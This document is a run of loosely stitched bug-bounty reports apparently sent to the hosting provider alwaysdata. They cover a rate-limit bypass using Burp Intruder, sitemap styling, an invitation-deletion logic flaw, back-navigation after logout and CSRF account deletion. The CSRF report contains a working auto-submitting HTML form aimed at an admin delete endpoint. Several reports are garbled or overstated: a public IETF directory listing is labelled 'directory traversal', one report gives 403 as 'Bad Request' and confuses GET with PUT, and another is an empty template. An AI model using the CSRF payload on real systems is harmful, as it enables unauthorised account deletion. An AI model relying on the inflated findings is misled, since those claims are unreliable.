Submit a login attempt using incorrect username/password. Intercept this request and send it to Burp Repeater. (4) Send the same request multiple times in Repeater:
Continuously send the POST request.
After a certain number of requests, you’ll observe a 429 Too Many Requests response, confirming that the server has rate limiting in place for POST requests. (5) Modify the request method from POST to PUT in Repeater: Change the HTTP method from POST to PUT (keeping the same endpoint and parameters). Send the modified request and observe the 403 Bad Request response. (6)Send the modified PUT request to Burp Intruder: After modifying the method to PUT, send the request to Burp Intruder to test it with a wordlist.
Load a wordlist (e.g., Word.txt). (7) Send 2,000+ requests: I sent over 2,000 requests with invalid credentials and continued to receive HTTP 403 responses, confirming that rate limiting was bypassed and there were no restrictions for GET requests. (8) Observe Results: The system did not trigger any lockouts, CAPTCHAs, IP blocks, or delays between requests, confirming the absence of rate limiting on the PUT method. Proof of Concept (PoC)

i am providing some videos and screenshot of this vulnerability as proof of concept for this vulnerability

refer this link for all the pocs = https://drive.google.com/file/d/17NAxfE1BfyapBJuy3mCq01b47iBR3zCQ/view

I will be waiting for your reply team

Regards,
Sudo
Security researcher / Bug Hunter

URL:https://www.alwaysdata.com/en/sitemap.xml

🔍 Issue Summary:
The sitemap XML at the above URL is accessible but lacks associated XSL styling, causing the browser to display a raw XML tree with a message stating:

"This XML file does not appear to have any style information associated with it. The document tree is shown below."

💡 Expected Behavior:
The sitemap should either:

Include a reference to an XSL stylesheet to format the output for human readability, OR

Deliver plain XML without browser-rendered HTML or inline styles/CSS that could lead to unintended display artifacts.

📋 Actual Behavior:
The XML document is correctly structured and functional.

However, extraneous CSS code appears to be injected into the XML, potentially due to frontend theme/style conflicts or incorrect server handling.

🧪 Steps to Reproduce:
Navigate to https://www.alwaysdata.com/en/sitemap.xml in any browser.

Observe the browser warning about missing style information.

Scroll down to see unexpected CSS classes and style rules (e.g., .aifnmjmchg.light, :host([class=light])), which are not part of a standard sitemap file.

🧠 Root Cause Hypothesis:
The web server may be unintentionally injecting global CSS or theme-related JavaScript/CSS into all responses, including .xml files.

This could be a misconfigured template handler or inclusion of global styles across all content types.

🎯 Suggested Fix:
Ensure that the sitemap endpoint delivers pure XML with proper MIME type (application/xml) without CSS injection.

Optionally, provide an XSL stylesheet for better browser presentation if needed.

Review middleware or template rendering logic that might be appending global assets to all responses.

✅ Impact:
SEO crawlers are likely unaffected.

However, human readability is degraded, and it may hint at larger asset delivery misconfigurations.

Potentially impacts maintainability, developer trust, or bug bounty program quality.

Bug Name:
Directory Traversal through Sitemap Schema Reference

Severity:
Medium to High (Information Disclosure)

URL Affected:
https://www.alwaysdata.com/en/sitemap.xml → references → http://www.sitemaps.org/schemas/sitemap/0.9 → references → https://www.ietf.org/rfc/

🔁 Steps to Reproduce:
Go to https://www.alwaysdata.com/en/sitemap.xml.

View the linked schema:

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
Open the namespace URL: http://www.sitemaps.org/schemas/sitemap/0.9

From that page, locate and visit: https://www.ietf.org/rfc/

Observe that the directory listing is enabled on https://www.ietf.org/rfc/.

🧾 Observed Behavior:
The https://www.ietf.org/rfc/ URL is openly listing all files in the directory, including:

PDF documents

HTML versions

JSON files

File sizes and last modified dates

✅ Expected Behavior:
Directory listing should be disabled to prevent information disclosure.

The endpoint should return a 403 Forbidden or a custom error page.

📌 Impact:
Unintended information disclosure through exposed documents and file structures.

Can help attackers understand server structure or gather sensitive metadata.

May affect trust if directory listing is not intended behavior.

poc :

https://drive.google.com/file/d/198YaCBfL4Zn8iAtGN3FdHPg3-JMt-4Q0/view?usp=sharing

Vulnerability Name:

Category:

Risk Level:

Description:

$df -h | grep /home
http16.paris1:/username         3.4T  2.6T  873G  75% /home/username
http14.paris1:/username            3.4T  494G  3.0T  15% /home/username
http13.paris1:/username            3.4T  2.5T  994G  72% /home/username
...

Impact:

Recommendation:

References:

Vulnerability Summary
Title: Privilege Escalation via Unvalidated Invitation Deletion Leading to Unrestricted Account Creation

Severity: High (Potential Impact: Unauthorized Account Proliferation, Bypass of Email Verification)

Vulnerability Type: Logic Flaw / Privilege Escalation

Affected Functionality: User Invitation & Account Registration System

Detailed Vulnerability Description

1. Vulnerability Discovery
While testing the privilege escalation mechanisms on admin.alwaysdata.com, I investigated the account invitation system. The process involves:
- Creating an account using my primary email: akashghoshakg19@gmail.com
- Inviting a secondary email: akashghoshakg19+6@gmail.com (Gmail alias)

2. Unexpected Behavior Observed
After sending the invitation, I deleted the invitation before the secondary email accepted it. However, the invitation link remained functional, allowing the secondary account (akashghoshakg19+6@gmail.com) to successfully register.

How can i sure that

Well, when i deleted my secondary account (akashghoshakg19+6@gmail.com),it sends an confirmation email to my main accout (akashghoshakg19@gmail.com) which shows in the attached video POC.

3. Impact Analysis
- Bypass of Email Verification: The system does not properly invalidate deleted invitations, allowing unauthorized account creation.
- Unrestricted Account Proliferation: An attacker can exploit this flaw to create multiple accounts without proper validation checks.
- Potential Abuse Scenarios:

1. Spamming the platform with fake accounts
2. Bypassing rate limits or sign-up restrictions
3. Conducting fraudulent activities under multiple identities

### 4. Proof of Concept (PoC)
Steps to Reproduce:
1. Register an account with: `akashghoshakg19@gmail.com`
2. Invite a secondary email: `akashghoshakg19+6@gmail.com`
3. Delete the invitation before the secondary user accepts it.
4. Observe that the invitation link still works, allowing `akashghoshakg19+6@gmail.com` to register.
5. Check the primary email (`akashghoshakg19@gmail.com`) – it receives a confirmation, but the system fails to enforce proper validation.

Evidence:

The video POC link: https://drive.google.com/file/d/1VmByRPCRfixrQvDWKmMnRO9KAJjT2GzB/view?usp=sharing

Security Impact
- Privilege Escalation Risk: Attackers can create multiple accounts without proper verification.
- Account Takeover Potential: If combined with other flaws, this could lead to unauthorized access.
- System Abuse: Malicious users can exploit this to evade detection and launch attacks.

Recommendations for Fix
1. Immediate Invalidation of Deleted Invitations:

1. Ensure that once an invitation is deleted, the associated link is immediately invalidated.

2. Strict Session & Token Validation:

1. Implement server-side checks to verify invitation status before allowing registration.

3. Rate Limiting & Monitoring:

1. Enforce stricter rate limits on account creation to prevent mass exploitation.

4. Email Verification Enforcement:

1. Require fresh verification for all invited accounts, regardless of invitation status.

Conclusion
This vulnerability allows bypassing critical security checks in the account registration process, leading to privilege escalation and potential system abuse. Immediate remediation is recommended to prevent exploitation.

Two critical vulnerabilities were identified in the `admin.alwaysdata.com` panel:

1. Broken Access Control via browser back-navigation (Alt+←), exposing sensitive user data post-logout.
2. CSRF (Cross-Site Request Forgery) via a GET request that allows unauthorized deletion of user accounts.

—

### 🧪 Steps to Reproduce

#### 🐞 Part 1: Broken Access Control via Browser Back Navigation

1. Login to the application: [https://admin.alwaysdata.com](https://admin.alwaysdata.com)
2. Navigate to user details:

 Example:  
 `https://admin.alwaysdata.com/admin/details/384337/deletee/`

3. Logout from the application.
4. Press Alt + Left Arrow (or use browser back button).
5. ⚠️ Result: The previously authenticated page is shown again, leaking sensitive user information (even though the user has logged out).

Impact: An attacker who gains temporary access to the session or has physical access to the system can access previously authenticated content even after logout.

—

#### 🐞 Part 2: CSRF - Account Deletion via GET Request

The following endpoint allows account deletion via a GET request, making it vulnerable to CSRF.

##### 🔓 CSRF Exploit HTML

```html

  <body onload="document.forms[0].submit()">
    <form action="https://admin.alwaysdata.com/admin/details/384337/delete/" method="GET">
      <input type="hidden" name="reason" value="Testing CSRF exploit" />
    </form>
  </body>

```

#### Steps:

1. Host this HTML file on any domain under your control.
2. Send the link to a logged-in admin user (victim).
3. When the victim clicks the link, the page auto-submits a GET request to:

 ```
 https://admin.alwaysdata.com/admin/details/384337/delete/?reason=Testing+CSRF+exploit
 ```

4. If he /she click the delete button it will be deleted.

—

### 💥 Combined Impact

By chaining these two issues, an attacker could:

- Extract sensitive data via broken access control (using back-navigation after logout).
- Delete user accounts via CSRF without authentication or confirmation.

—

### 🔐 Recommended Fixes

1. Fix Broken Access Control:

1. Invalidate cached pages using proper cache-control headers:

```http

   Cache-Control: no-store, no-cache, must-revalidate
   Pragma: no-cache
   ```
 - Implement server-side checks to reject requests after session termination.

2. Fix CSRF in Sensitive Actions:

1. Use POST requests for state-changing actions (like deletion).
2. Implement CSRF tokens and validate them on every form submission.

—

POC Link: https://drive.google.com/file/d/1BSTP_m8nxiP4h-bQIq9OsiCRmYlBJuaO/view?usp=sharing